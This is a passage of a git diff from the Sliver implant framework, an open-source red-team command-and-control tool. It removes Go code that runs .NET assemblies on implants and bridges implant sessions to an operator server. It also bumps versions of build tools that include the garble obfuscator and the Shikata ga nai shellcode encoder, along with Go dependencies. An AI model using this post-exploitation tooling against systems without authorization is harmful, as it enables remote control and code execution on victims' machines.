extResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: MakeRequest(implant),
|
||||
IsDLL: args.IsDLL,
|
||||
Process: args.Process,
|
||||
Arguments: args.Arguments,
|
||||
Assembly: asm,
|
||||
Arch: args.Architecture,
|
||||
Method: args.Method,
|
||||
ClassName: args.Class,
|
||||
AppDomain: args.AppDomain,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// If Async req, onFinishCallback won't be nil
|
||||
if onFinishCallback != nil {
|
||||
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
|
||||
return
|
||||
}
|
||||
|
||||
if extResp.Response != nil && extResp.Response.Err != "" {
|
||||
err = errors.New(extResp.Response.Err)
|
||||
}
|
||||
output = string(extResp.Output)
|
||||
|
||||
return
|
||||
}
|
||||
@@ -1,152 +0,0 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"net"
|
||||
"sync"
|
||||
|
||||
"github.com/bishopfox/sliver/client/prelude/util"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
var ImplantMapper *OperatorImplantMapper
|
||||
|
||||
const defaultImplantSleep = 5
|
||||
|
||||
type OperatorConfig struct {
|
||||
Range string
|
||||
OperatorURL string
|
||||
RPC rpcpb.SliverRPCClient
|
||||
AESKey string
|
||||
}
|
||||
|
||||
// OperatorImplantMapper maps an OperatorConfig with
|
||||
// active Sliver implant sessions/beacons
|
||||
type OperatorImplantMapper struct {
|
||||
implantBridges []*OperatorImplantBridge
|
||||
conf *OperatorConfig
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
// ActiveImplant exposes common methods between
|
||||
// Sliver clientpb.Session and clientpb.Beacon
|
||||
// that are required by Operator implants
|
||||
type ActiveImplant interface {
|
||||
GetID() string
|
||||
GetHostname() string
|
||||
GetPID() int32
|
||||
GetOS() string
|
||||
GetArch() string
|
||||
GetFilename() string
|
||||
GetReconnectInterval() int64
|
||||
}
|
||||
|
||||
func InitImplantMapper(conf *OperatorConfig) *OperatorImplantMapper {
|
||||
if ImplantMapper == nil {
|
||||
ImplantMapper = &OperatorImplantMapper{
|
||||
implantBridges: make([]*OperatorImplantBridge, 0),
|
||||
conf: conf,
|
||||
}
|
||||
}
|
||||
return ImplantMapper
|
||||
}
|
||||
|
||||
func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string, func(*clientpb.BeaconTask))) error {
|
||||
var pwd string
|
||||
conn, err := net.Dial("tcp", p.conf.OperatorURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: MakeRequest(a),
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if pwdResp != nil {
|
||||
pwd = pwdResp.Path
|
||||
}
|
||||
|
||||
// Use a default sleep time for sessions,
|
||||
// but respect the one we have for beacons
|
||||
sleepTime := defaultImplantSleep
|
||||
if b, ok := a.(*clientpb.Beacon); ok {
|
||||
sleepTime = int(b.ReconnectInterval)
|
||||
}
|
||||
|
||||
beacon := OperatorBeacon{
|
||||
Name: a.GetID(),
|
||||
Target: p.conf.OperatorURL,
|
||||
Hostname: a.GetHostname(),
|
||||
Location: a.GetFilename(),
|
||||
Platform: a.GetOS(),
|
||||
Range: p.conf.Range,
|
||||
Executors: util.DetermineExecutors(a.GetOS(), a.GetArch()),
|
||||
Links: make([]Instruction, 0),
|
||||
Executing: "",
|
||||
Pwd: pwd,
|
||||
Sleep: int(sleepTime),
|
||||
}
|
||||
|
||||
if p.conf.AESKey == "" {
|
||||
return errors.New("missing AES key")
|
||||
}
|
||||
a.GetID()
|
||||
encryptionKey := p.conf.AESKey
|
||||
agentConfig := AgentConfig{
|
||||
Name: a.GetID(),
|
||||
AESKey: encryptionKey,
|
||||
Range: p.conf.Range,
|
||||
Contact: "tcp",
|
||||
Address: p.conf.OperatorURL,
|
||||
Pid: int(a.GetPID()),
|
||||
Executing: make(map[string]Instruction),
|
||||
Sleep: int(sleepTime),
|
||||
}
|
||||
bridge := NewImplantBridge(&conn, a, p.conf.RPC, beacon, agentConfig, callback)
|
||||
p.Lock()
|
||||
p.implantBridges = append(p.implantBridges, bridge)
|
||||
p.Unlock()
|
||||
go bridge.ReceiveLoop()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *OperatorImplantMapper) RemoveImplant(imp ActiveImplant) (err error) {
|
||||
p.Lock()
|
||||
for _, bridge := range p.implantBridges {
|
||||
if bridge.Implant.GetID() == imp.GetID() {
|
||||
if bridge.Conn != nil {
|
||||
err = (*bridge.Conn).Close()
|
||||
} else {
|
||||
err = errors.New("connection is nil")
|
||||
}
|
||||
}
|
||||
}
|
||||
p.Unlock()
|
||||
return err
|
||||
}
|
||||
|
||||
func (p *OperatorImplantMapper) GetConfig() *OperatorConfig {
|
||||
return p.conf
|
||||
}
|
||||
@@ -1,46 +0,0 @@
|
||||
package util
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
func DetermineExecutors(platform string, arch string) []string {
|
||||
platformExecutors := map[string]map[string][]string{
|
||||
"windows": {
|
||||
"file": {"pwsh.exe", "powershell.exe", "cmd.exe", "", ""},
|
||||
"executor": {"pwsh", "psh", "cmd", "bof", "exec"},
|
||||
},
|
||||
"linux": {
|
||||
"file": {"python3", "sh", "bash"},
|
||||
"executor": {"python", "sh", "bash"},
|
||||
},
|
||||
"darwin": {
|
||||
"file": {"python3", "zsh", "sh", "osascript", "bash"},
|
||||
"executor": {"python", "zsh", "sh", "osa", "bash"},
|
||||
},
|
||||
}
|
||||
var executors []string
|
||||
for platformKey, platformValue := range platformExecutors {
|
||||
if platform == platformKey {
|
||||
for i := range platformValue["file"] {
|
||||
executors = append(executors, platformExecutors[platformKey]["executor"][i])
|
||||
}
|
||||
}
|
||||
}
|
||||
executors = append([]string{"keyword"}, executors...)
|
||||
return executors
|
||||
}
|
||||
+20
-9
@@ -20,8 +20,9 @@ set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.22.1"
|
||||
GARBLE_VER="1.22.1"
|
||||
GO_VER="1.22.2"
|
||||
GARBLE_VER="1.22.2"
|
||||
ZIG_VER="0.12.0"
|
||||
SGN_VER="0.0.3"
|
||||
|
||||
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
|
||||
@@ -148,10 +149,25 @@ cp -vv windows-go.zip $OUTPUT_DIR/windows/amd64/go.zip
|
||||
rm -rf ./go
|
||||
rm -f windows-go.zip go$GO_VER.windows-amd64.zip
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " Zig"
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/amd64/zig https://ziglang.org/download/$ZIG_VER/zig-macos-x86_64-$ZIG_VER.tar.xz"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/amd64/zig.tar.xz https://ziglang.org/download/$ZIG_VER/zig-macos-x86_64-$ZIG_VER.tar.xz
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/arm64/zig https://ziglang.org/download/$ZIG_VER/zig-macos-aarch64-$ZIG_VER.tar.xz"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/arm64/zig.tar.xz https://ziglang.org/download/$ZIG_VER/zig-macos-aarch64-$ZIG_VER.tar.xz
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/amd64/zig https://ziglang.org/download/$ZIG_VER/zig-linux-x86_64-$ZIG_VER.tar.xz"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/amd64/zig.tar.xz https://ziglang.org/download/$ZIG_VER/zig-linux-x86_64-$ZIG_VER.tar.xz
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/arm64/zig https://ziglang.org/download/$ZIG_VER/zig-linux-aarch64-$ZIG_VER.tar.xz"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/arm64/zig.tar.xz https://ziglang.org/download/$ZIG_VER/zig-linux-aarch64-$ZIG_VER.tar.xz
|
||||
# Of course Windows has to be different, because it's awful (zip file instead of a tarball)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/windows/amd64/zig.zip https://ziglang.org/download/$ZIG_VER/zig-windows-x86_64-$ZIG_VER.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/windows/amd64/zig.zip https://ziglang.org/download/$ZIG_VER/zig-windows-x86_64-$ZIG_VER.zip
|
||||
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " Garble"
|
||||
echo "-----------------------------------------------------------------"
|
||||
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/amd64/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/amd64/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/arm64/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-arm64"
|
||||
@@ -167,28 +183,23 @@ curl -L --fail --output $OUTPUT_DIR/darwin/arm64/garble https://github.com/moloc
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " Shikata ga nai (ノ ゜Д゜)ノ ︵ 仕方がない"
|
||||
echo "-----------------------------------------------------------------"
|
||||
|
||||
# Linux (amd64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/amd64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-amd64.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/amd64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-amd64.zip
|
||||
|
||||
# Linux (arm64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/arm64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-arm64.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/arm64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-arm64.zip
|
||||
|
||||
# Windows (amd64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/windows/amd64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-amd64.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/windows/amd64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-amd64.zip
|
||||
|
||||
# MacOS (amd64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/amd64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-amd64.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/amd64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-amd64.zip
|
||||
|
||||
# MacOS (arm64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/arm64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-arm64.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/arm64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-arm64.zip
|
||||
|
||||
# end
|
||||
# --- Cleanup ---
|
||||
echo -e "clean up: $WORK_DIR"
|
||||
rm -rf $WORK_DIR
|
||||
echo -e "\n[*] All done\n"
|
||||
@@ -18,16 +18,16 @@ require (
|
||||
github.com/cheggaaa/pb/v3 v3.1.2
|
||||
github.com/chromedp/cdproto v0.0.0-20231011050154-1d073bb38998
|
||||
github.com/chromedp/chromedp v0.9.3
|
||||
github.com/fatih/color v1.15.0
|
||||
github.com/fatih/color v1.16.0
|
||||
github.com/glebarez/sqlite v1.10.0
|
||||
github.com/gofrs/uuid v4.4.0+incompatible
|
||||
github.com/golang/protobuf v1.5.3
|
||||
github.com/google/uuid v1.4.0
|
||||
github.com/gorilla/mux v1.8.1
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.6
|
||||
github.com/jedib0t/go-pretty/v6 v6.5.8
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/klauspost/compress v1.17.0
|
||||
github.com/klauspost/compress v1.17.8
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lesnuages/snitch v0.6.0
|
||||
github.com/mattn/go-sqlite3 v1.14.18
|
||||
@@ -44,13 +44,14 @@ require (
|
||||
github.com/stretchr/testify v1.8.4
|
||||
github.com/tetratelabs/wazero v1.3.1
|
||||
github.com/things-go/go-socks5 v0.0.3
|
||||
github.com/ulikunitz/xz v0.5.11
|
||||
github.com/xlab/treeprint v1.2.0
|
||||
github.com/yiya1989/sshkrb5 v0.0.1
|
||||
golang.org/x/crypto v0.21.0
|
||||
golang.org/x/crypto v0.22.0
|
||||
golang.org/x/exp v0.0.0-20230905200255-921286631fa9
|
||||
golang.org/x/net v0.21.0
|
||||
golang.org/x/sys v0.18.0
|
||||
golang.org/x/term v0.18.0
|
||||
golang.org/x/net v0.24.0
|
||||
golang.org/x/sys v0.19.0
|
||||
golang.org/x/term v0.19.0
|
||||
golang.org/x/text v0.14.0
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
|
||||
@@ -136,8 +137,8 @@ require (
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/mailru/easyjson v0.7.7 // indirect
|
||||
github.com/mattn/go-colorable v0.1.13 // indirect
|
||||
github.com/mattn/go-isatty v0.0.19 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.14 // indirect
|
||||
github.com/mattn/go-isatty v0.0.20 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.15 // indirect
|
||||
github.com/mdlayher/genetlink v1.3.2 // indirect
|
||||
github.com/mdlayher/netlink v1.7.2 // indirect
|
||||
github.com/mdlayher/sdnotify v1.0.0 // indirect
|
||||
|
||||
@@ -122,8 +122,8 @@ github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.m
|
||||
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
|
||||
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
|
||||
github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU=
|
||||
github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs=
|
||||
github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw=
|
||||
github.com/fatih/color v1.16.0 h1:zmkK9Ngbjj+K0yRhTVONQh1p/HknKYSlNT+vZCzyokM=
|
||||
github.com/fatih/color v1.16.0/go.mod h1:fL2Sau1YI5c0pdGEVCbKQbLXB6edEj1ZgiY4NijnWvE=
|
||||
github.com/frankban/quicktest v1.14.5 h1:dfYrrRyLtiqT9GyKXgdh+k4inNeTvmGbuSgZ3lx3GhA=
|
||||
github.com/frankban/quicktest v1.14.5/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0=
|
||||
github.com/fxamacker/cbor/v2 v2.5.0 h1:oHsG0V/Q6E/wqTS2O1Cozzsy69nqCiguo5Q1a1ADivE=
|
||||
@@ -232,8 +232,8 @@ github.com/jackc/puddle/v2 v2.2.1 h1:RhxXJtFG022u4ibrCSMSiu5aOq1i77R3OHKNJj77OAk
|
||||
github.com/jackc/puddle/v2 v2.2.1/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFrfEOc3H4=
|
||||
github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
|
||||
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.6 h1:v6aG9h6Uby3IusSSEjHaZNXpHFhzqMmjXcPq1Rjl9Jw=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.6/go.mod h1:Ndk3ase2CkQbXLLNf5QDHoYb6J9WtVfmHZu9n8rk2xs=
|
||||
github.com/jedib0t/go-pretty/v6 v6.5.8 h1:8BCzJdSvUbaDuRba4YVh+SKMGcAAKdkcF3SVFbrHAtQ=
|
||||
github.com/jedib0t/go-pretty/v6 v6.5.8/go.mod h1:zbn98qrYlh95FIhwwsbIip0LYpwSG8SUOScs+v9/t0E=
|
||||
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
|
||||
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
|
||||
github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ=
|
||||
@@ -260,8 +260,8 @@ github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f/go.mod h1:f8GY5
|
||||
github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
|
||||
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
|
||||
github.com/klauspost/compress v1.10.3/go.mod h1:aoV0uJVorq1K+umq18yTdKaF57EivdYsUV+/s2qKfXs=
|
||||
github.com/klauspost/compress v1.17.0 h1:Rnbp4K9EjcDuVuHtd0dgA4qNuv9yKDYKK1ulpJwgrqM=
|
||||
github.com/klauspost/compress v1.17.0/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE=
|
||||
github.com/klauspost/compress v1.17.8 h1:YcnTYrq7MikUT7k0Yb5eceMmALQPYBW/Xltxn0NAMnU=
|
||||
github.com/klauspost/compress v1.17.8/go.mod h1:Di0epgTjJY877eYKx5yC51cX2A2Vl2ibi7bDH9ttBbw=
|
||||
github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
|
||||
github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a h1:+RR6SqnTkDLWyICxS1xpjCi/3dhyV+TgZwA6Ww3KncQ=
|
||||
github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a/go.mod h1:YTtCCM3ryyfiu4F7t8HQ1mxvp1UBdWM2r6Xa+nGWvDk=
|
||||
@@ -295,11 +295,10 @@ github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hd
|
||||
github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=
|
||||
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
|
||||
github.com/mattn/go-isatty v0.0.19 h1:JITubQf0MOLdlGRuRq+jtsDlekdYPia9ZFsB8h/APPA=
|
||||
github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU=
|
||||
github.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
||||
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
github.com/mattn/go-runewidth v0.0.15 h1:UNAjwbU9l54TA3KzvqLGxwWjHmMgBUVhBiTjelZgg3U=
|
||||
github.com/mattn/go-runewidth v0.0.15/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/mattn/go-sqlite3 v1.14.18 h1:JL0eqdCOq6DJVNPSvArO/bIV9/P7fbGrV00LZHc+5aI=
|
||||
github.com/mattn/go-sqlite3 v1.14.18/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
|
||||
github.com/mdlayher/genetlink v1.2.0/go.mod h1:ra5LDov2KrUCZJiAtEvXXZBxGMInICMXIwshlJ+qRxQ=
|
||||
@@ -344,7 +343,6 @@ github.com/pierrec/lz4/v4 v4.1.18/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFu
|
||||
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/profile v1.6.0/go.mod h1:qBsxPvzyUincmltOk6iyRVxHYg4adc0OFOv72ZdLa18=
|
||||
github.com/pkg/sftp v1.13.6 h1:JFZT4XbOU7l77xGSpOdW+pwIMqP044IyjXX6FGyEKFo=
|
||||
github.com/pkg/sftp v1.13.6/go.mod h1:tz1ryNURKu77RL+GuCzmoJYxQczL3wLNNpPWagdg4Qk=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
@@ -377,15 +375,12 @@ github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
|
||||
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
|
||||
github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
|
||||
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.4/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||
github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=
|
||||
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
|
||||
github.com/tailscale/certstore v0.1.1-0.20231020161753-77811a65f4ff h1:vnxdYZUJbsSRcIcduDW3DcQqfqaiv4FUgy25q8X+vfI=
|
||||
@@ -420,6 +415,8 @@ github.com/ugorji/go v1.1.7 h1:/68gy2h+1mWMrwZFeD1kQialdSzAb432dtpeJ42ovdo=
|
||||
github.com/ugorji/go v1.1.7/go.mod h1:kZn38zHttfInRq0xu/PH0az30d+z6vm202qpg1oXVMw=
|
||||
github.com/ugorji/go/codec v1.1.7 h1:2SvQaVZ1ouYrrKKwoSk2pzd4A9evlKJb9oTL+OaLUSs=
|
||||
github.com/ugorji/go/codec v1.1.7/go.mod h1:Ax+UKWsSmolVDwsd+7N3ZtXu+yMGCf907BLYF3GoBXY=
|
||||
github.com/ulikunitz/xz v0.5.11 h1:kpFauv27b6ynzBNT/Xy+1k+fK4WswhN/6PN5WhFAGw8=
|
||||
github.com/ulikunitz/xz v0.5.11/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
|
||||
github.com/vishvananda/netlink v1.2.1-beta.2 h1:Llsql0lnQEbHj0I1OuKyp8otXp0r3q0mPkuhwHfStVs=
|
||||
github.com/vishvananda/netlink v1.2.1-beta.2/go.mod h1:twkDnbuQxJYemMlGd4JFIcuhgX83tXhKS2B/PRMpOho=
|
||||
github.com/vishvananda/netns v0.0.0-20200728191858-db3c7e526aae/go.mod h1:DD4vA1DwXk04H54A1oHXtwZmA0grkVMdPxx/VGLCah0=
|
||||
@@ -450,8 +447,8 @@ golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPh
|
||||
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/crypto v0.21.0 h1:X31++rzVUdKhX5sWmSOFZxx8UW/ldWx55cbf08iNAMA=
|
||||
golang.org/x/crypto v0.21.0/go.mod h1:0BP7YvVV9gBbVKyeTG0Gyn+gZm94bibOW5BjDEYAOMs=
|
||||
golang.org/x/crypto v0.22.0 h1:g1v0xeRhjcugydODzvb3mEM9SQ0HGp9s/nh3COQ/C30=
|
||||
golang.org/x/crypto v0.22.0/go.mod h1:vr6Su+7cTlO45qkww3VDJlzDn0ctJvRgYbC2NvXHt+M=
|
||||
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
||||
golang.org/x/exp v0.0.0-20230905200255-921286631fa9 h1:GoHiUyI/Tp2nVkLI2mCxVkOjsbSXD66ic0XW0js0R9g=
|
||||
golang.org/x/exp v0.0.0-20230905200255-921286631fa9/go.mod h1:S2oDrQGGwySpoQPVqRShND87VCbxmc6bL1Yd2oYrm6k=
|
||||
